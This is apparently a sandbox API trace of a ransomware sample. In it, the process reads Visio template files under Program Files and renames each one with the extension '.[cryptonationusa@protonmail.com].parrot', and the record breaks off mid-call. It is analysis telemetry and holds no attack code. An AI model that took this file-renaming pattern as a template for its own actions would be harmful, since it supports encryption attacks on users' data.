[0233.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0233.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.291] GetLastError () returned 0x0 [0233.294] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0233.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0233.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0233.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31ac478 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x22fe0c8 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0233.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0233.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x323e578 [0233.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.307] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.307] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.308] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.308] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9e00, lpOverlapped=0x0) returned 1 [0233.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0233.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.310] GetLastError () returned 0x0 [0233.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0233.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0233.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0233.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0233.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0233.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31ac478 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x22fe0c8 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0233.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x321e538 [0233.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0233.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.370] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.372] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.372] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12400, lpOverlapped=0x0) returned 1 [0233.377] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.388] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.388] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.390] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9e00, lpOverlapped=0x0) returned 1 [0233.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBSIT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\websit_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0233.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.402] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.404] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.404] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15400, lpOverlapped=0x0) returned 1 [0233.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WELD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\weld_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WELD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\weld_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.418] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.418] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.420] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.420] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15000, lpOverlapped=0x0) returned 1 [0233.424] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WELD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\weld_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WELD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\weld_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.435] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.435] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.437] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18400, lpOverlapped=0x0) returned 1 [0233.442] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCICN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcicn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCICN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcicn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.459] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.459] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.460] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.461] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 